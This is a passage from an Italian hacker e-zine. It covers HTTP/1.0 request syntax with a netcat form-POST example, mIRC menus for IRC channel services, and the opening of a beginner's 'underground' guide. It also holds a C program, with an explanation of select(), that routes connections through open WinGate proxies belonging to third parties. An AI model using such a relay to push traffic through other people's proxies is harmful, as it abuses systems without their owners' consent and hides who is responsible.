per GET, HEAD, POST o extension method (di questo pero' non tratto); -Request-URI sta per l'indirizzo della pagina che volete vedere o che state usando per un FORM, quindi anche l'indirizzo di un cgi potrebbe essere; -HTTP-Version e' la versione del protocollo, se mettete HTTP/1.0 va praticamente sempre bene; -SP come gia' detto indica banalmente uno spazio, e CRLF un "invio". Quindi un esempio potrebbe essere: GET index.html HTTP/1.0 oppure ancora POST /cgi-bin/sms.cgi HTTP/1.0 e giusto per rompere le palle un altro esempio HEAD http://www.w3.org/pub/WWW/TheProject.html HTTP/1.0 -------[ General-Header Sono header (qui sto traducendo letteralmente) che possono essere utilizzati sia nelle richieste che nell'invio di dati. Un esempio e' l'header DATE, che rappresenta l'ora e la data alla quale la richiesta e' stata scritta. Oppure l'header Pragma, che serve per includere istruzioni precise per qualunque programma/demone che sta in mezzo alla connessione. Meglio di cosi' non riesco a descriverlo :) Un esempio: Pragma: no-cache serve per dire all'applicazione che dovrebbe poi forwardare la richiesta al server (quindi un eventuale proxy, per esempio) di farlo ugualmente anche se in cache e' presente una copia di cio' che e' stato richiesto, quindi utile se non indispensabile nel caso di invio di dati tramite POST -------[ Request-Header Servono al client per inviare ulteriori informazioni al server. Nell'RFC 1945 ne sono illustrati 5: Authorization --> Authorization: credentials From --> From: mailbox (es: From: webmaster@w3.org) [NB: il browser non dovrebbe inviarlo senza previa conferma] If-Modified-Since --> If-Modified-Since: data [es: If-Modified-Since: Sat, 29 Oct 1994 19:43:31 GMT, serve [per scaricare una pagina con GET solo se e' stata modificato dopo la data indicata] Referer --> Referer: web_address [serve per sapere da quale pagina si e' seguito il link per arrivare alla pagina corrente ] User-Agent --> User-Agent: client_information [contiene informazioni sul nome e la versione del browser utilizzato] -------[ Entity-Header Sono degli header opzionali che contengono informazioni sulle informazioni inviate dopo i vari header, ovvero l'Entity-Body: Allow --> Allow: metodo ["metodo" puo' essere GET e HEAD. Non e' permesso usarlo nelle richieste di tipo POST] Content-Encoding --> Content-Encoding: content-coding [per indicare quali tipi di codifica sono ammessi, es: Content-Encoding: x-gzip] Content-Length --> Content-Length: 1*DIGIT [indica la lunghezza del dell'informazione inviato, Es: Content-Length: 3495 Ricordo che 1*DIGIT significa "almeno una cifra"] Content-Type --> Content-Type: media-type [indica il tipo di dati che sono stati inviati al server es: Content-Type: text/html] Expires --> Expires: <HTTP-date> [indica la data dopo la quale l'informazione inviata non e' piu' valida, es: Expires: Thu, 01 Dec 1994 16:00:00 GMT] Last-Modified --> Last Modificated: <HTTP-date> [indica l'ora e la data -traduco letteralmente- alla quale il client crede che cio' che ha richiesto e' stato modificato per l'ultima volta] extension-header --> header personalizzati, o non indicati nel protocollo ufficiale -------[ Header addizionali Oltre a quelli gia' citati e ne sono molti altri addizionali, come per esempio l'"Accept:" che indica al server una lista di informazioni e tipologie di dati che sono accettate dal client. Per esempio ci sono: Accept: text/html, text/plain, application/applefile, application/x-metamail-pat Accept: image/gif, application/postscript, */*;q=0.01 Accept-Encoding: gzip, compress Accept-Language: it -------[ Entity-Body Rappresenta l'informazione che viene inviata sia dal client sia dal server. Nel caso del server rappresenta cio' che e' stato richiesto preventivamente da un GET, nel caso del client potrebbe essere, per esempio, il contenuto del form che si sta inviando, del bottone premuto, ecc ecc. La sua presenza, dato che e' opzionale, e' segnalata al server tramite gli Entity-Header visti sopra, che ne definiscono formato e codifica, quindi devono essere sempre presenti se si invia qualcosa. Il form viene inviato secondo una precisa sintassi: una stringa unica contenente tutti i campi e il valore assegnatogli, separati dal carattere "&". Per esempio se nella pagina che stiamo visitando c'e' un form di questo tipo: ----------- <form action="/cgi-bin/ie.cgi" method="POST"> Campo1 <input type="text" name="text1"> Campo2 <input type="text" name="text2"> <input type="submit" value="Invia"> </form> ----------- e noi scriviamo "Obluraschi? eddai...." nel Campo1 e "Puppamelo! ahahah!" nel Campo2, alla pressione del bottone INVIA il browser mandera' il FORM secondo questa sintassi (privata dei vari header che spesso non servono) ------------------------------------------------------- POST /cgi-bin/ie.cgi HTTP/1.0 Content-type: application/x-www-form-urlencoded Content-length: 56 <riga vuota> text1=Obluraschi?%20eddai....&text2=Puppamelo!%20ahahah! <riga vuota> <riga vuota> ------------------------------------------------------- Andando ad analizzare la richiesta inoltrata, si vede nella prima riga la richiesta nel formato "full" e un paio di Entity-Header, uno che definisce il formato, e un'altro che indica la lunghezza dei dati inviati. Poi una riga vuota e infine il form compilato, con ogni voce messa accanto al nome della sua casella separata da un "=", e le voci tra di loro separate dal carattere "&". Ultima cosa: non si possono usare gli spazi, quindi vengono convertiti nella sequenza "%20". Le 7 righe sopra pero' non sono solo un estrapolato dele informazioni inviate, ma possono anche essere da sole, in quanto contengono tutto il minimo necessario per eseguire un invio di tipo POST, gli altri header in questo caso sarebbero superflui. Quindi se noi le inviassimo tramite telnet o netcat al sito che ci interessa, simuleremmo l'invio di tali dati tramite browser. Basta solo scrivere quelle 7 righe in un file, per esempio "in.txt", e poi digitale al promp: nc www.host.it 80 < in.txt In questo modo, per esempio, con qualche riga di script in piu' si puo' scrivere un client per inviare sms tramite portali come gsmbox.com senza aprire nemmeno una volta il vostro /lynx/netscape/IE/opera/mosaic ecc ecc ---------------------------- HEAD REQUEST ---------------------------- Per ultima cosa, giusto per dare una parvenza di completezza a questo articoletto, mancano 2 parole sul metodo HEAD. Infatti il GET serve per inviare una richiesta per una pagina, una immagine, o cmq un qualsiasi tipo di informazione, POST serve per inviare dati, e HEAD e' molto simile a GET, solo che il server non risponde con l'Entity-Body (che per il server potrebbe essere una pagina html) ma solo con informazioni relative a questo. ------------------------------------- GESTIONE DEGLI ERRORI ------------------------------------- Ultimissima cosa e' la raccolta dei codici di errori, un copy and paste direttamente dalla RFC: o 1xx: Informational - Not used, but reserved for future use o 2xx: Success - The action was successfully received, understood, and accepted. o 3xx: Redirection - Further action must be taken in order to complete the request o 4xx: Client Error - The request contains bad syntax or cannot be fulfilled o 5xx: Server Error - The server failed to fulfill an apparently valid request Status-Code = "200" ; OK | "201" ; Created | "202" ; Accepted | "204" ; No Content | "301" ; Moved Permanently | "302" ; Moved Temporarily | "304" ; Not Modified | "400" ; Bad Request | "401" ; Unauthorized | "403" ; Forbidden | "404" ; Not Found | "500" ; Internal Server Error | "501" ; Not Implemented | "502" ; Bad Gateway | "503" ; Service Unavailable | extension-code ---------------------------------------------- Chiusura, riferimenti e saluti ---------------------------------------------- Ok, la piccola guida e' finita, e come ogni altra che si rispetti, ecco un paio di link che potrebbero risultare utili http://www.w3.org/ http://www.faqs.org/rfcs/ Per ogni chiarimento, correzione, invito a bere una birra (valido per entrambi i sessi, ma ovviamente in special modo per LEI :) ), mi trovare su fritz@spippolatori.com. --[ fritz ]-- Club SpiPPoLaTorI www.spippolatori.com ========================================================================================== Linux, C, socket e (soprattutto) select --------------------------------------- by -=F14m3r=-® --------------------------------------- INTRO Dopo il bell'articolo sui socket di LuRkIn' apparso su netrunners 11 vi propongo questo piccolo approfondimento. Di cosa parleremo? Be'... partiremo da una piccola idea che mi e' venuta una sera per arrivare a parlare di multicasting di socket. L'IDEA L'idea e' quella di scrivere un programmino per linux che permetta di redirigere una connessione. Pero' visto che siamo maliziosi mettiamoci dentro anche un wingate. Tutti (spero) conoscete i wingate, e sapete come siano sfruttabili per redirigere una sessione telnet, vero? -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-NOTA BENE-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Ah! Prima di andare avanti penso sia meglio specificare una cosa. NON MANDATEMI MAIL PER CHIEDERE INDIRIZZI DI WINGATE O PER CHIEDERMI DI SPIEGARVI COME UTILIZZARLI, non e' questo il fine dell'articolo. Non vi rispondero'. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Ora mi sono detto... ma se voglio usare un wingate per redirigere qualcos'altro? Ad esempio un client irc, un programma di posta, o qualunque altra cosa vi venga in mente? Il problema e' solo all'inizio della connessione (il client deve inviare ip e porta del server con cui si vuole connettere), dopodiche' la comunicazione puo' proseguire senza problemi come se si stesse parlando col server richiesto. Facciamo una prova con telnet per vedere come funziona: [alex@flam /]$ telnet XXX.XXX.XXX.XXX WinGate>YYY.YYY.YYY.YYY:25 Connecting to host YYY.YYY.YYY.YYY...Connected 220 X1 NT-ESMTP Server YYY.YYY.YYY.YYY (IMail 5.05 146282-1) quit 221 Goodbye Connection terminated by remote host ...chiaro, no? Ora da quando arriva la stringa "Connected" in poi la comunicazione puo' tranquillamente proseguire tra client e server come se non ci fosse il wingate di mezzo. IL PROGRAMMA Ora, il punto e' fare un programma che avvii la connessione, e poi si renda invisibile facendo da tramite tra il client ed il wingate. Quindi il nostro programma deve: 1) Aprire una comunicazione tra se stesso e il wingate 2) Aprire una porta locale e restare in attesa di connessione 3) Appena qualcuno si connette sulla porta locale inviare i comandi al wingate 4) "Attaccare" tra loro i due socket Il risultato dei miei sforzi e' il seguente... per ora ve lo butto li' poi vediamo di studiarci in dettaglio come funziona. --------------------------8<----- Taglia qui -----8<-------------------------- #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/time.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <string.h> #define LISTEN_PORT 3000 #define BUFSIZE 5000 int gate_sock; int local_sock; void usage(char *prog) { printf(" Wingate redir - usage:\n"); printf(" %s [IP WinGate] [host:port]\n",prog); } int connect_wg(char *ip) { struct sockaddr_in sa; char buf[20]; int nrec; if ((gate_sock=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP)) < 0) { perror("socket"); return 0; } sa.sin_family=AF_INET; sa.sin_port=htons(23); sa.sin_addr.s_addr=inet_addr(ip); memset(&sa.sin_zero,0,sizeof(sa.sin_zero)); if (connect(gate_sock,(struct sockaddr *)&sa,sizeof(sa)) < 0) { perror("connect"); return 0; } fprintf(stderr,"Connected. Waiting for wingate prompt..."); do { memset(buf,0,sizeof(buf)); nrec = recv(gate_sock,buf,sizeof(buf),0); } while (strstr(buf,"WinGate") == NULL); fprintf(stderr," ok!\n"); return 1; } int open_local() { int listener; struct sockaddr_in sa; int sin_size; if ((listener=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP)) < 0) { perror("socket"); return 0; } sa.sin_family=AF_INET; sa.sin_addr.s_addr=INADDR_ANY; sa.sin_port=htons(LISTEN_PORT); memset(&sa.sin_zero,0,sizeof(sa.sin_zero)); if (bind(listener,(struct sockaddr *)&sa,sizeof(sa)) < 0) { perror("bind"); return 0; } if (listen(listener,1)<0) { perror("listen"); return 0; } sin_size = sizeof(sa); if ((local_sock=accept(listener,(struct sockaddr *)&sa,&sin_size))<0) { perror("accept"); return 0; } close(listener); return 1; } int redirect(char *addr) { fd_set fset; int max_fd; char buf[BUFSIZE]; send(gate_sock,addr,strlen(addr),0); send(gate_sock,"\n",1,0); fprintf(stderr,"Waiting for connection to be initiated..."); do { int nrec; memset(buf,0,sizeof(buf)); nrec = recv(gate_sock,buf,sizeof(buf),0); } while (strstr(buf,"Connected") == NULL); fprintf(stderr," ok!\n"); max_fd=(local_sock>gate_sock)?local_sock:gate_sock; max_fd++; while (1) { FD_ZERO(&fset); FD_SET(local_sock,&fset); FD_SET(gate_sock,&fset); if (select(max_fd,&fset,NULL,NULL,NULL)<0) { perror("select"); return 0; } if (FD_ISSET(local_sock,&fset)) { int nrec; nrec=recv(local_sock,buf,sizeof(buf),0); if (nrec>0) { send(gate_sock,buf,nrec,0); } } if (FD_ISSET(gate_sock,&fset)) { int nrec; nrec=recv(gate_sock,buf,sizeof(buf),0); if (nrec>0) { send(local_sock,buf,nrec,0); } } } return 1; } int main(int argc, char *argv[]) { if (argc<3) { usage(argv[0]); return 0; } if (!connect_wg(argv[1])) { return -1; } if (!open_local()) { return -1; } if (!redirect(argv[2])) { return -1; } return 0; } --------------------------8<----- Taglia qui -----8<-------------------------- Da dove cominciamo? Be'... il mio consiglio quando mettete mano a del codice che non e' il vostro e' quello di partire sempre dal main (anche se di solito e' in fondo e verrebbe da guardarlo per ultimo). Dunque, dateci un'occhiata... e' proprio qui sopra. Non mi sembra molto complicato. Riassumendo (e lasciando stare la funzione usage()... se non la capite questo articolo non fa per voi) vengono chiamate nell'ordine: connect_wg(argv[1]) open_local() redirect(argv[2]) Se andate a dare un'occhiata alle prime due scoprirete che non fanno nulla di speciale. La prima apre un socket e si connette all'ip dato. Dopodiche' aspetta il prompt caratteristico dei wingate. La seconda apre un socket e lo mette in ascolto sulla porta LISTEN_PORT (definita in cima), e appena arriva una connessione la accetta e chiude il socket in ascolto. Se queste due funzioni non sono chiare andatevi a rileggere l'articolo gia' citato apparso nel numero 11 di netrunners. Un po' piu' interessante e' la terza. Subito dopo la parte iniziale, che invia al wingate l'indirizzo con cui ci si vuole connettere e attende che la connessione sia avviata, sorge un problema. SOCKET MULTICASTING Noi abbiamo 2 socket; tutto cio' che leggiamo da uno vogliamo scriverlo sull'altro, e viceversa. Il succo e' che dovremmo fare 2 read contemporaneamente. Un'idea potrebbe essere quella di fare una fork() per creare un altro processo e sfruttare il kernel multitasking di linux per fare due cose contemporaneamente. Si'... in questo caso l'idea puo' andar bene. Pero' c'e' di meglio: la funzione select(). Questa funzione permette di aspettare che uno dei file descriptor selezionati non cambi di stato. hmmmm... forse con un esempio si capisce meglio. Mettiamo di voler programmare un (ehehe) portscanner. Questo apre qualcosa come 10-15 socket, e poi aspetta che qualcuno "cambi di stato", cioe' riceva una risposta dalla porta (se e' aperta o no), per poterlo riassegnare ad un'altra porta. La funzione select serve proprio ad aspettare. Ok, spero sia chiaro... passiamo ora alla signature della funzione. int select(int n, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, struct timeval *timeout); Vediamo... prende un intero n, tre puntatori ad una cosa strana che si chiama fd_set, ed un puntatore ad una struttura timeval. Partiamo dal fondo. timeval e' una struttura cosi' fatta: struct timeval { time_t tv_sec; /* seconds */ suseconds_t tv_usec; /* microseconds */ }; dove sia time_t che suseconds_t sono long int. Timeout e' quindi il tempo massimo che select deve aspettare prima di ritornare. Se vi puo' servire saperlo al momento in cui select ritorna timeout vi viene modificato, in modo da farvi sapere quanto tempo e' effettivamente passato. Timeout puo' essere zero (ritorna immediatamente) oppure NULL (nessun limite di tempo... ritorna appena un file descriptor cambia di stato). Nel nostro caso non abbiamo fretta e l'ho lasciato a NULL. Passiamo ora a readfds, writefds ed exceptfds. Sono di tipo puntatori a fd_set. fd_set e' un insieme di file descriptor. Per poter utilizzare questo tipo avete a disposizione delle macro molto comode: FD_ZERO(fd_set * fs) : Svuota l'insieme fs. FD_SET(int fd, fd_set * fs) : Aggiunge il file descriptor fd all'insieme fs. FD_CLR(int fd, fd_set * fs) : Toglie il file descriptor fd dall'insieme fs. FD_ISSET(int fd, fd_set * fs) : Ritorna true se fd sta nell'insieme fs. Ora che sapete come manipolare il tipo fd_set vediamo a che servono quei parametri di select. Il punto e' che se voi volete attendere che un file descriptor sia pronto per leggere lo inserite nell'insieme readfds, se volete aspettare che sia pronto per scrivere lo inserite in writefds, e se volete aspettare che generi un'eccezione lo inserite in exceptfds. Quando il primo di tutti i file descriptor inseriti in questi insiemi cambiera' nello stato relativo all'insieme in cui e' inserito select ritornera'. Se non volete controllare un dato insieme potete inserire NULL come parametro. NB: Nulla vi vieta di inserire lo stesso file descriptor in tutti e tre gli insiemi. Ma guardiamo un attimo il nostro esempio. Lasciate stare per ora il primo parametro passato alla select. Noi vogliamo aspettare che uno dei due socket sia pronto per leggere, cioe' che arrivino dei dati. Quindi riempiamo solo readfds e lasciamo a NULL gli altri due. FD_ZERO(&fset); FD_SET(local_sock,&fset); FD_SET(gate_sock,&fset); if (select(max_fd,&fset,NULL,NULL,NULL)<0) ecc... ...chiaro, no? La cosa bella di questi insiemi e' che in uscita dalla select ve li ritrovate pieni solo di quei file descriptor che hanno subito modifiche. Infatti in seguito per verificare se devo un socket e' effettivamente pronto per leggere scrivo: if (FD_ISSET(local_sock,&fset)) Resta solo una cosa: quell'intero. Cos'e'? E' uguale al maggiore dei file descriptor in tutti e tre i set, piu' uno (ricordate che un file descriptor e' comunque un intero). Nel nostro programma viene calcolato una volta per tutte: max_fd=(local_sock>gate_sock)?local_sock:gate_sock; max_fd++; NOTE FINALI Questo e' tutto. Il programma non e' del tutto finito, perche' non si accorge se la connessione termina da una parte o dall'altra... pero' il succo c'e', se volete completarlo fate pure, se non ci riuscite scrivetemi che vi daro' una mano. SpP MeMbeR - SpP MeMbeR - SpP MeMbeR -=F14m3r=-® *** flamer@freemail.it SpP MeMbeR - SpP MeMbeR - SpP MeMbeR ========================================================================================== Creazione di uno script [quarta parte] -------------------------------------- Darkman -------------------------------------- Vediamo come creare dei controlli per i vari settaggi del nickserv, chanserv, memoserv e dei controlli per undernet. Cominciamo partendo dallo script per Dalnet che appunto utilizza i servizzi di tipo chanserv, nickserv e memoserv. I comandi che verranno visualizzati quì di seguito non sono altro che i comandi che si possono avere interrogando i vari servizzi con l' "HELP" riportati in forma di menu quindi senza avere l' esigenza di digitarli ma solo di completarne alcune parti (se richieste) attraverso una semplice finestra dove inserirete i dati richiesti all' esecuzione del comando. Creiamo un file e chiamiamolo per esempio Dalnet.mrc ed impostiamo al suo interno le seguenti stringhe: menu channel,menubar,nicklist,status { DALnet Services .Chanserv ..Info:/ $+ %cs info $$?="Enter a channel:" ..Register:/ $+ %cs register $$?="Enter a channel:" $$?="Enter a password:" $$?="Enter a description" ..Drop:/ $+%cs drop $$?="Enter a channel:" ..Identify:/ $+ %cs identify $$?="Enter a channel:" $$?="Enter a password" ..Find Access Level:/ $+ %cs access $$?="Enter a channel:" $$?="Enter a nick" ..Find Reason for Opping:/ $+ %cs why $$?="Enter a channel:" $$?="Enter a nick" ..Invite Yourself:/ $+ %cs invite $$?="Enter a channel:" ..Mass Kick:/ $+ %cs mkick $$?="Enter a channel:" ..Get Help:/ $+ %cs help $?="Enter command, leave blank for general help:" ..Settings ...Set Yourself as Founder:/ $+ %cs set $$?="Enter a channel:" founder ...Change Password:/ $+ %cs set $$?="Enter a channel:" passwd $$?="Enter a password" ...Change Description:/ $+ %cs set $$?="Enter a channel:" desc $$?="Enter a description" ...Change URL:/ $+ %cs set $$?="Enter a channel:" url $?="Enter channel homepage/your email addy, or leave blank to clear" ...Mode Lock:/ $+ %cs set $$?="Enter a channel:" mlock $$?="Enter new modes. Unable to set +ovblk or -ovb. Use * to clear" ...Sticky Topics ....On:/ $+ %cs set $$?="Enter a channel" keeptopic on ....Off:/ $+ %cs set $$?="Enter a channel" keeptopic off ...Topic Lock ....On:/ $+ %cs set $$?="Enter a channel" topiclock on ....Off:/ $+ %cs set $$?="Enter a channel" topiclock off ...Op Guard ....On:/ $+ %cs set $$?="Enter a channel:" keeptopic on ....Off:/ $+ %cs set $$?="Enter a channel:" keeptopic off ...Don't Deop Non-Ops ....On:/ $+ %cs set $$?="Enter a channel:" leaveops on ....Off:/ $+ %cs set $$?="Enter a channel:" leaveops off ..Only allow AOPs/SOPs/Founder ....On:/ $+ %cs set $$?="Enter a channel:" restrict on ....Off:/ $+ %cs set $$?="Enter a channel:" restrict off ...Don't Require Founder Identification ....On:/ $+ %cs set $$?="Enter a channel:" unsecure on ....Off:/ $+ %cs set $$?="Enter a channel:" unsecure off ...Make Ops Identify Before Being Opped ....On:/ $+ %cs set $$?="Enter a channel:" ident on ....Off:/ $+ %cs set $$?="Enter a channel:" ident off ...Disable Info and Invite ....On:/ $+ %cs set $$?="Enter a channel:" private on ....Off:/ $+ %cs set $$?="Enter a channel:" private off ...Change Memo Level ....AOP:/ $+ %cs set $$?="Enter a channel:" memo aop ....SOP:/ $+ %cs set $$?="Enter a channel:" memo sop ....Founder:/ $+ %cs set $$?="Enter a channel" memo founder ....Off:/ $+ %cs set $$?="Enter a channel" memo none ..Out of Order ...List:/echo 4 CS List is currently down ..List Mantenince ...AOP List Mantenince ....Add an AOP:/ $+ %cs aop $$?="Enter a channel:" add $$?="Enter a nick or addy:" ....Remove an AOP:/ $+ %cs aop $$?="Enter a channel:" del $$?="Enter a nick or addy:" ....List AOPs:/ $+ %cs aop $$?="Enter a channel:" list ....Clear AOP List:/ $+ %cs aop $$?="Enter a channel:" wipe ....Remove Unregistered AOPs:/ $+ %cs aop $$?="Enter a channel:" clean ...SOP List Mantenince ....Add a SOP:/ $+ %cs sop $$?="Enter a channel:" add $$?="Enter a nick or addy:" ....Remove a SOP:/ $+ %cs sop $$?="Enter a channel:" del $$?="Enter a nick or addy:" ....List SOPs:/ $+ %cs sop $$?="Enter a channel:" list ....Clear SOP List:/ $+ %cs sop $$?="Enter a channel:" wipe ....Remove Unregistered SOPs:/ $+ %cs sop $$?="Enter a channel:" clean ...AKICK List Mantenince ....Add an AKICK:/ $+ %cs akick $$?="Enter a channel:" add $$?="Enter a nick or addy:" ....Remove an AKICK:/ $+ %cs akick $$?="Enter a channel:" del $$?="Enter a nick or addy:" ....List AKICKs:/ $+ %cs akick $$?="Enter a channel:" list ....Clear AKICK List:/ $+ %cs akick $$?="Enter a channel:" wipe ...Non-List Op Mantenince ....Op:/ $+ %cs op $$?="Enter a channel:" $$?="Enter a nick:" ....Deop:/ $+ %cs deop $$?="Enter a channel:" $$?="Enter a nick:" ....Mass Deop:/ $+ %cs mdeop $$?="Enter a channel:" ...Count AOPs/SOPs/AKICKs:/ $+ %cs count $$?="Enter a channel:" .Nickserv ..Register:/ $+ %ns register $$?="Enter a password:" ..Drop:/ $+ %ns drop $$?="Enter a nick:" ..Identify:/ $+ %ns identify $$?="Enter a password:" ..Kill:/ $+ %ns recover $$?="Enter a nick:" $?="Enter a password if the nick's addy isn't in your access list:" ..Kill Enforcer:/ $+ %ns release $$?="Enter a nick:" $?="Enter a password if the nick's addy isn't in your access list:" ..Kill Ghost:/ $+ %ns ghost $$?="Enter a nick:" $?="Enter a password if the nick's addy isn't in your access list:" ..Get Access Level:/ $+ %ns acc $$?="Enter a nick:" ..Get ID Number:/ $+ %ns id $$?="Enter a nick:" ..Info:/ $+ %ns info $$?="Enter a nick:" ..Get Help:/ $+ %ns help $?="Enter command, leave blank for general help:" ..Access List Mantenince ...Add an Addy:/ $+ %ns access add $$?="Enter an addy:" ...Remove an Addy:/ $+ %ns access del $$?="Enter an addy:" ...List Access Masks:/ $+ %ns access list ...Clear Access List:/ $+ %ns access wipe ..Settings ...Kill ....On:/ $+ %ns set kill on ....Off:/ $+ %ns set kill off ...Disable Memos ....On:/ $+ %ns set nomemo on ....Off:/ $+ %ns set nomemo off ...Prevent Being Added to AOP/SOP Lists ....On:/ $+ %ns set noop on ....Off:/ $+ %ns set noop off ...Require identification ....On:/ $+ %ns set secure on ....Off:/ $+ %ns set secure off ...URL:/ $+ %ns set url $?="Enter home page/email addy. To clear, leave blank:" ...Change Password:/ $+ %ns set passwd $$?="Enter a password" .Memoserv ..Send a Memo:/ $+ %ms send $$?="Enter a nick(s), channel, or memo number:" $$?="Enter your memo" ..Send a Memo to SOPs/Founder:/ $+ %ms send $$?="Enter a channel:" $$?="Enter your memo" ..List Memos:/ $+ %ms list ..Read a Memo:/ $+ %ms read $$?="Enter a memo number(s):" ..Delete a Memo:/ $+ %ms del $$?="Enter a memo number. To delete ad purge all memos, type all:" ..Undelete a Memo:/ $+ %ms undel $$?="Enter a memo number:" ..Purge Deleted Memos:/ $+ %ms purge ..Forward Memos:/ $+ %ms forward $?="Enter a nick. To stop forwarding, type -. To show forwarding nick, leave blank:" ..Get Help:/ $+ %ms help $?="Enter command, leave blank for general help:" } alias sping { set %sping.time $ctime raw -q TIME $server } raw 391:*:{ set %sping $calc($ctime - %sping.time) titlebar $chr(91) $+ %fg SelfLag: $duration(%sping) ] unset %sping* halt } ;on 1:connect: { ;timer1 0 10 /sping ;} ;on 1:disconnect: { ;timer1 off } Ricordo che il comando $+ serve a legare due parole per esempio: /say Hel $+ lo th $+ ere $+ ! questa stringa verra visualizzata come: Hello there! Per quanto riguarda "raw" è un comando che serve a visualizare una delle caratteristiche scritte di comando di mirc asseconda del numero assegnato a raw il programma visualizzerà un certo tipo di stringa. ;on 1:connect: { ;timer1 0 10 /sping ;} ;on 1:disconnect: { ;timer1 off Questa parte non viene letta perchè presenti i punti e virgole prima di ogni stringa che indicano al programma di non interpretare quei comandi, in ogni caso posso essere attivati semplicemente rimuovendo ";" dall' inizio di ogni stringa. Tutte le variabili in questo script come "%cs" sono variabili impostate automaticamente da Mirc che non devono essere impostate da noi e vale anche per i comandi come "$chr(91)". A questo punto apriamo il mostro mirc.ini ed inseriamo il link come sempre nel nostro [rfiles]. Per quanto Riguarda Undernet possiamo creare uno script simile al precedente. Creiamo un file e chiamiamolo undernet.mrc ed inseriamo le seguenti stringhe al suo interno: menu menubar { Undernet X/W .W Bot ..&Login with W:/msg w@channels2.undernet.org login $$?="Che canale?" $$?="Password:" ..- ..Add User:/msg W adduser # $$1 $$?="Access:" $$?="Passord:" ..Remove User:/msg W remuser # $$1 ..Auto Op ...ON:/.msg w modinfo # autoop $$1 ON ...- ...OFF:/.msg w modinfo # autoop $$1 OFF ..Check Access:/msg W access # $$1 ..Ban List:/msg W lbanlist # * ..Change Topic:/msg W Topic $$?="Channel:" $$?="Enter Topic:" ..- ..Suspend ...1 Hour Suspension:/msg w sospendi # $$1 1 h ...1 Day Suspension:/msg w sospendi # $$1 1 d ...1 Week Suspension:/msg w sospendi # $$1 7 d ...1 Month Suspension:/msg w sospendi # $$1 1 m ...- ...Suspend (Time?):/msg w sospendi # $$1 $$?="Enter Time" $$?="Enter S/M/D/M" ..Unsuspend:/msg w togli sospensione # $$1 .- .X Bot ..&Login with X:/msg x@channels.undernet.org login $$?="che canale?" $$?="Password:" ..- ..Add User:/msg X adduser # $$1 $$?="Access:" $$?="Password:" ..Remove User:/msg X remuser # $$1 ..Auto Op ...ON:/.msg x modinfo # autoop $$1 ON ...- ...OFF:/.msg x modinfo # autoop $$1 OFF ..Check Access:/msg X access # $$1 ..Ban List:/msg X lbanlist # * ..Change Topic:/msg X Topic # $$?="Enter Topic:" ..- ..Suspend ...1 Hour Suspension:/msg x sospendi # $$1 1 h ...1 Day Suspension:/msg x sospendi # $$1 1 d ...1 Week Suspension:/msg x sospendi # $$1 7 d ...1 Month Suspension:/msg x sospendi # $$1 1 m ...- ...Suspend (Time?):/msg x sospendi # $$1 $$?="Enter Time" $$?="Enter S/M/D/M" ..Unsuspend:/msg x Togli sospensione # $$1 } Perchè il tutto funzioni correttamente dobbiamo in anzi tutto aprire il nostro file script.ini ed implementarlo con le seguenti stringhe: n49=#autoop off n50=ON +1:JOIN:#:if ($me isop $chan) { /msg chanserv op $chan $nick | /.notice $nick 4,1DARK ScRiPt 1,0 Auto-OP By $me } n51=#autoop end A questo punto come al solito non ci resta altro che linkare il file undernet.mrc nel nostro mirc.ini come descritto in precedenza. E finisce quì la quarta parte del nostro script :-) ========================================================================================== Primi passi nell'Underground Digitale ------------------------------------- by Lord Mibo XIII ------------------------------------- Finalmente un articolo, che guidi proprio nei primi passi, le giovani leve che vogliono intraprendere una esplorazione più approfondita della rete. Questo articolo non vuole essere nulla di più, che una serie di informazioni che un utente con un minimo di esperienza, ritiene scontate, ma forse utili a chi intraprende le prime esplorazioni. La rete è un mondo da esplorare, per farlo occorre determinazione e perseveranza. Partirete a piedi, ma un giorno, se grandi saranno le vostre capacità, lo girerete con il vostro jet privato. Iniziate il vostro cammino, spinti dalla curiosità, dalla conoscenza, dal forte desiderio di vedere oltre; se iniziate spinti da sete di potere, intossicati da Matrix o con la collana NetForce sotto il braccio, siete sicuramente sulla via sbagliata. Nel vostro bagaglio deve essere presente una buona conoscenza del computer (lo sapete rinominare un file? ;>), un cervello fino (questa però, è merce rara), qualcosa su cui prendere appunti. E' utile una buona conoscenza dell'inglese, se non l'avete (non preoccupatevi, all'inizio se ne può fare a meno, soprattutto perché io sto scrivendo in italiano). Per quanto riguarda hardware e software basta poco, non serve un computer ultimo modello, per collegarsi a internet serve molto meno di ciò che avete (visto che probabilmente avete appena finito di giocare a Quake Arena); per il software, tenetevi indietro, programmi nuovi vuol dire programmi meno testati, e meno persone che vi possono aiutare, e di aiuto voi, ne avete certamente bisogno. Ottimi sono gli aggiornamenti per correggere i bug dei vari programmi, cercate questi nel sito ufficiale della casa produttrice. Ora mettetevi in marcia col vostro stagionato computer (assomiglia a una toma valdostana, o a un Barolo invecchiato, se preferite??? Ok, ci siamo) e vediamo di reperire qualche informazione per il viaggio. I posti da cui iniziare sono due: il WWW e Usenet, lasciate chat e simili per tempi migliori. La ricerca sul World Wide Web non è cosa facile, vengono in nostro aiuto i motori di ricerca. Impararli ad usare è indispensabile, non è luogo questo articolo per dilungarsi nelle spiegazioni dell'arte della ricerca, ma vale la pena di spendere due righe. Innanzi a tutto i motori sono tanti, bisogna imparare ad usarli tutti. Sono anche molto diversi tra loro, generano risultati diversi, si usano in modo diverso, ma generalmente si possono usare gli operatori logici tra cui AND, che serve per cercare una parola sia l'altra (es. Nina AND Moric), OR, che cerca una parola o l'altra (es. Jazz OR Blues), NOT, cerca i siti riguardanti una parola ma non l'altra (utile per sfoltire i risultati, es. Nina NOT Pinta) e I doppi apici, utili per cercate l'espressione esatta (es. "W la solita che finisce per no"). Ricordate che non c'è metodo migliore per imparare che provare. Fate la vostra ricerca con tutti i motori che conoscete (per ora che siete all'inizio non distinguerò motori di ricerca, indici sistematici e metarisorse) AstaLaVista non è la soluzione ai vostri problemi, per iniziare provate: yahoo.com, altavista.com, alltheWeb.com, hotBot.com, excite.com, lycos.com, fast.no, snap.com, northernlight.com, google.com , poi vedrete, ne scoprirete altri. Molte volte hanno anche la versione italiana, e per questo aggiungo 